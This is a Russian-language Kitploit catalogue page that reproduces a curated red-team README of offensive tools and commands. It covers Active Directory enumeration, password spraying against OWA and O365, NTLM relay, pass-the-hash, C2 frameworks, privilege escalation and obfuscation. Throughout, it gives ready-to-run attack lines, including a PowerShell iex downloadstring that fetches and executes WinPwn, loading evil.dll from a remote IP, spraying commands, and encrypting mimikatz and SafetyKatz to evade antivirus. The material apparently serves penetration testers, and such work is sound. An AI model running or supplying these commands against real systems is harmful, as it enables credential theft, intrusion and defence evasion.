Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Pentest-Tools-Collection — Курируемая подборка инструментов и команд наступательной безопасности для атак на Active Directory, C2, повышения привилегий, обфускации и веб-пентестинга. | Kitploit
Инструменты/GitHubGitHub/luemmelsec/pentest-tools-collection
Повышение привилегийЭксплуатацияОбход IDS/IPSСбор информацииПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingПодобранные Ресурсы

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Разработка Полезной Нагрузки
GitHubluemmelsec/pentest-tools-collection

Pentest-Tools-Collection

Курируемая подборка инструментов и команд наступательной безопасности для атак на Active Directory, C2, повышения привилегий, обфускации и веб-пентестинга.

Репозиторий
90614621 месяц назадПроверено Kitploit

Pentest-Tools-Collection

Active Directory

AMSI

https://amsi.fail/

Подборки инструментов

WinPwn

https://github.com/S3cur3Th1sSh1t/WinPwn

Import-Module .\WinPwn.ps1

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

Ghostpack

https://github.com/GhostPack

Seatbelt, KeeThief, Rubeus, SharpUp ...

Powersploit

https://github.com/PowerShellMafia/PowerSploit

PowerView, PowerUp, Get-GPPPassword ...

Перечисление

Bloodhound

https://github.com/BloodHoundAD/BloodHound

SharpHound.exe -d testdomain.com -c all,gpolocalgroup

Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup

https://github.com/fox-it/BloodHound.py

bloodhound.py -c all

ADRecon

https://github.com/adrecon/ADRecon

Для запуска ADRecon на хосте, входящем в домен.
PS C:\> .\ADRecon.ps1

Для запуска ADRecon на хосте, входящем в домен, от имени другого пользователя.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>

Для запуска ADRecon на хосте, не входящем в домен, с использованием LDAP.
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>

Spraying-Toolkit

https://github.com/byt3bl33d3r/SprayingToolkit

Спрейер для Lync/Skype и OWA, генератор списков слов, конвертер схем именования и т. д.

Спрей OWA
./atomizer.py owa contoso.com 'Fall2018' emails.txt

Спрей Lync
./atomizer lync contoso.com --user-as-pass usernames.txt

Режим разведки
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon

MailSniper

https://github.com/dafthack/MailSniper

Атака на OWA и EWS
Схема именования должна быть похожа на testdomain.com\schmidta или aschmidt -> проверьте схему с помощью модуля msf

Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt

Get-ADUsernameFromEWS -EmailList email-list.txt

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt

msspray

https://github.com/0xZDH/msspray

Инструмент для энумерации и спрея O365

Просто перечисляет пользователей без спрея. Требуется текстовый файл с полными адресами электронной почты вида [email protected]
python3 msspray.py -e -u textfile.txt --wait 10 --verbose

MSOLSpray

https://github.com/dafthack/MSOLSpray

Спрейер для O365

Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020

ExchangeRelayX

https://github.com/quickbreach/ExchangeRelayX

Атака на EWS через NTLM-аутентификацию по HTTP.

./exchangeRelayx.py -t https://mail.quickbreach.com

SharpView

https://github.com/tevora-threat/SharpView

Порт PowerView на .NET

SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password

CrossLinked

https://github.com/m8r0wn/CrossLinked

Сбор почтовых адресов / пользователей

python3 crosslinked.py -f '{first}.{last}@domain.com' company_name

Постэксплуатация

impacket

https://github.com/SecureAuthCorp/impacket

Crackmapexec

https://github.com/byt3bl33d3r/CrackMapExec

Официальная документация: https://mpgn.gitbook.io/crackmapexec/

SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

EvilWinRM

https://github.com/mrnamp/EvilWinRM

Инструмент для взаимодействия с реализацией WS-Management от Microsoft, также известной как PowerShell-Remoting, с Linux-машины.
Также может использоваться для подключения с хэшем вместо пароля.

ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'

ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099

Кроме того, способен выполнять C#, DLL или donut shellcode прямо в памяти. Исполняемые файлы должны находиться в пути, указанном в аргументе -e.

Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'

Dll-loader -http -path http://10.11.12.13/evil.dll

Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin

Также может обходить AMSI, получать билеты Kerberos и так далее ...

SharpRDP

https://github.com/rasta-mouse/SharpRDP

Выполняет команды по RDP. Пользователь получит уведомление, если мульти-RDP не включен!

SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password

Inveigh

https://github.com/Kevin-Robertson/Inveigh

Инструмент PowerShell для спуфинга ADIDNS/LLMNR/mDNS/NBNS/DNS и атак man-in-the-middle

Import-Module Inveigh.psm1

Invoke-Inveigh -Consoleoutput Y

Responder

https://github.com/lgandx/Responder

Отравитель LLMNR/NBT-NS/mDNS

./Responder.py -I eth0

C2

Covenant

https://github.com/cobbr/Covenant

PS-Empire

https://github.com/BC-SECURITY/Empire

Повышение привилегий

WinPEAS / LinPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

SecWiki

https://github.com/SecWiki

Эксплойты для Linux и Windows

PowerShDll

https://github.com/p3nt4/PowerShdll

PowerShell без PowerShell

rundll32 PowerShdll,main -w

PowerUpSQL

https://github.com/NetSPI/PowerUpSQL

UACME

https://github.com/hfiref0x/UACME

Watson

https://github.com/rasta-mouse/Watson

PrivescCheck

https://github.com/itm4n/PrivescCheck

Обфускация

PEzor

https://github.com/phra/PEzor

Обфускация C/C++ бинарников

Новый модуль -> флуктуация ShellCode:

PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'

См. https://twitter.com/phraaaaaaa/status/1453389564383404032?t=wcB-3NlNh9725L9_zRjdHg

Donut Syscall fork

https://github.com/S4ntiagoP/donut/tree/syscalls

Форк генератора Donut shellcode / PE с системными вызовами

amber

https://github.com/EgeBalci/amber

Обфускация C/C++ бинарников

Invoke-Obfuscation

https://github.com/danielbohannon/Invoke-Obfuscation

Обфускатор PowerShell-скриптов.

xencrypt / BetterXencrypt

https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt

AQUARMOURY (in special wraith)

https://github.com/slaeryan/AQUARMOURY

Набор инструментов для обхода AV/EDR и всего такого

root@kitploit:~
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

Обфускатор и шифратор PowerShell-скриптов.

ISESteroids

https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7

Набор инструментов для PowerShell ISE. Возможности обфускации.

PS2EXE

https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5

Преобразование PS1 в EXE-файл.

Invoke-Sharploader

https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader

Обёртка для C#-бинарников, которая шифрует полезную нагрузку и расшифровывает её в памяти.

Шифрование бинарника:

Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc

Загрузка зашифрованного бинарника из URL:

Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs

Загрузка зашифрованного бинарника с диска с аргументами командной строки:

Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"

inceptor

https://github.com/klezVirus/inceptor

Обфускатор для C# и PowerShell

Chimera

https://github.com/tokyoneon/Chimera

Обфускатор PowerShell-скриптов

InvisibilityCloak

https://github.com/xforcered/InvisibilityCloak

Обфускатор C#-сборок

ConfuserEx

https://github.com/yck1509/ConfuserEx

Обфускатор C#-сборок

Charlotte

https://github.com/9emin1/charlotte

Загрузчик шеллкода через D-Invoke

AVCleaner

https://github.com/lleon1435/avcleaner

Обфускатор исходного кода C/C++

Разное

SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray

Веб

JSFScan: https://github.com/KathanP19/JSFScan.sh

Скачать инструмент